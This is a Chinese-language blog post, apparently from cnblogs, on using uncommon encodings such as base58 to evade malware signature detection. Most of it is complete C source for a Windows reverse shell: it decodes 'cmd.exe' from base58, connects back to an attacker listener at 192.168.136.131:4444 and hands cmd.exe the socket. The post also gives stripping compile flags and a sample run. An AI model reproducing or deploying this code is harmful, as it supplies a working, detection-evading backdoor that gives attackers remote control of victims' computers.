首页 > 编程语言 >自定义加密算法

自定义加密算法

时间:2025-01-07 15:36:53浏览次数:5  
标签:自定义 int resultlen sui ++ result carry 加密算法

常见的哈希算法如Caesar, Base64, MurmurHash等已经被安全研究人员盯上了,经常使用这些算法作为特征定位恶意软件,因此最好使用自定义算法或不常见算法。

base58加密cmd.exe

#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

constchar * const ALPHABET =
"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
constchar ALPHABET_MAP[128] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1,  0,  1,  2,  3,  4,  5,  6,  7,  8, -1, -1, -1, -1, -1, -1,
-1,  9, 10, 11, 12, 13, 14, 15, 16, -1, 17, 18, 19, 20, 21, -1,
22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, -1, -1, -1, -1, -1,
-1, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, -1, 44, 45, 46,
47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, -1, -1, -1, -1, -1
};

int base58encode(const unsigned char* input, int len, unsigned char result[]) {
unsignedchar digits[len * 137 / 100];
int digitslen = 1;
for (int i = 0; i < len; i++) {
    unsignedint carry = (unsignedint) input[i];
    for (int j = 0; j < digitslen; j++) {
      carry += (unsignedint) (digits[j]) << 8;
      digits[j] = (unsignedchar) (carry % 58);
      carry /= 58;
    }
    while (carry > 0) {
      digits[digitslen++] = (unsignedchar) (carry % 58);
      carry /= 58;
    }
  }
int resultlen = 0;
// leading zero bytes
for (; resultlen < len && input[resultlen] == 0;)
    result[resultlen++] = '1';
// reverse
for (int i = 0; i < digitslen; i++)
    result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];
  result[digitslen + resultlen] = 0;
return digitslen + resultlen;
}

int base58decode(
  unsigned char const* input, int len, unsigned char *result) {
  result[0] = 0;
int resultlen = 1;
for (int i = 0; i < len; i++) {
    unsignedint carry = (unsignedint) ALPHABET_MAP[input[i]];
    for (int j = 0; j < resultlen; j++) {
      carry += (unsignedint) (result[j]) * 58;
      result[j] = (unsignedchar) (carry & 0xff);
      carry >>= 8;
    }
    while (carry > 0) {
      result[resultlen++] = (unsignedint) (carry & 0xff);
      carry >>= 8;
    }
  }

for (int i = 0; i < len && input[i] == '1'; i++)
    result[resultlen++] = 0;

for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1);
    i >= z; i--) {
    int k = result[i];
    result[i] = result[resultlen - i - 1];
    result[resultlen - i - 1] = k;
  }
return resultlen;
}

int main() {  
unsignedchar encoded[] = "4mY3dzArmJ";
unsignedchar decoded[16];
int dlen = strlen(encoded);
base58decode(encoded, dlen, decoded);
printf("%s\n", decoded); // "cmd.exe"

  WSADATA wsaData;
  SOCKET wSock;
structsockaddr_in hax;
  STARTUPINFO sui;
  PROCESS_INFORMATION pi;

// listener ip, port on attacker's machine
char *ip = "192.168.136.131";
short port = 4444;

// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);

// create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

// start the decoded command with redirected streams
CreateProcess(NULL, decoded, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);

return0;
}

编译

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32

运行

 .\hack.exe
cmd.exe

标签:自定义,int,resultlen,sui,++,result,carry,加密算法
From: https://www.cnblogs.com/o-O-oO/p/18657712

相关文章

  • BUG:SWM32开机绘制lvgl框架下的某个自定义控件死机
    一.BUG描述现象1.画了一个关于"模式"的自定义控件,结果开机绘制总是死机。现象2.用keil进行仿真调试全速运行同样死机,但是如果在异常处加断点,然后单步调试就正常。(注:仿真调试比直接运行的速度要慢)现象3.把这个异常对象的创建代码删除,再后面加四个打印追踪,还是死机;但是删除两个......
  • 给element-plus table 表头添加自定义class
    <el-tableclass="margin-top-16":data="selectedTableData":header-cell-class-name="headerCellClassName"style="width:100%"height="400"><el-table-columnprop="name&q......
  • Electron如何自定义菜单?
    在Electron中,您可以使用Menu和MenuItem类来自定义应用程序的菜单。以下是一个基本的步骤指南,用于在Electron应用程序中创建自定义菜单:引入必要的模块:首先,您需要从Electron中引入Menu和MenuItem。const{Menu,MenuItem}=require('electron');创建菜单项:......
  • 微信小程序内,子元素覆盖父元素,点击子元素获取不到父元素自定义的值
    <view><viewclass='bg_white'wx:for="{{topTabTypeList}}"wx:key="index"bindtap="topBtnClick"data-item="{{item}}"data-index="{{index}}"><imagesrc="{{item.img}}"......
  • [转]Android lunch添加自定义项目编译
    前言全局说明Androidlunch添加自定义项目编译一、说明原文:https://blue-bird1.github.io/posts/aosp-3/二、新建device和product在编译时已经知道编译时需要选择编译目标.而编译目标在AndroidProducts.mk这种文件下设置参考redroid可知要新建一个device首先在devic......
  • 6.6 Error recovery with a custom lexer 使用自定义词法分析器进行错误恢复
    https://lalrpop.github.io/lalrpop/lexer_tutorial/006_error_recovery_custom_lexer.htmlFeaturesdescribedinErrorrecoveryworkwellwiththecustomlexer,howevererrorrecoveryonlysupportsrecoveringfromparsererrors-notlexererrors.Thispagesh......
  • C语言(自定义)函数
    函数概念函数可以分为函数库(预制菜)和自定义函数(自己做的菜)函数库之前的文章讲解过一部分数组的、字符串的、动态内存的,有兴趣可以我的学习专栏看一看,里面都有今天重点讲解的函数是自定义函数先来几道预制菜输入/输出函数(头文件为stdio.h):用于完成输入/输出功能;(最基本的)字......
  • 请问如何在Vue3中实现自定义指令?
    在Vue3中,你可以使用app.directive()方法来注册一个全局自定义指令,或者你可以在组件的directives选项中注册局部自定义指令。以下是如何实现自定义指令的步骤:全局自定义指令全局自定义指令需要在应用实例上注册。这通常在应用的入口文件(如main.js或main.ts)中完成。imp......
  • 遗留了很久的功能终于搞定/QTreeWidget自定义节点/添加删除修改分组
    一、前言说明这个功能看起来简单,实际上也确实简单,以前没搞的时候还以为很难,难点就是如何存储这个任意层级的树状列表信息,近期大环境经济很差,刚好有空把这个功能搞定,其实二维表格的方式存储这种任意层级树结构就可以,就是子节点需要指定父节点,父节点为空表示顶层节点,最开始还考虑搞......
  • Elasticsearch中如何自定义分词器?
    关注我,持续分享逻辑思维&管理思维&面试题;可提供大厂面试辅导、及定制化求职/在职/管理/架构辅导;推荐专栏《10天学会使用asp.net编程AI大模型》,目前已完成所有内容。一顿烧烤不到的费用,让人能紧跟时代的浪潮。从普通网站,到公众号、小程序,再到AI大模型网站。干货满满。学成后可......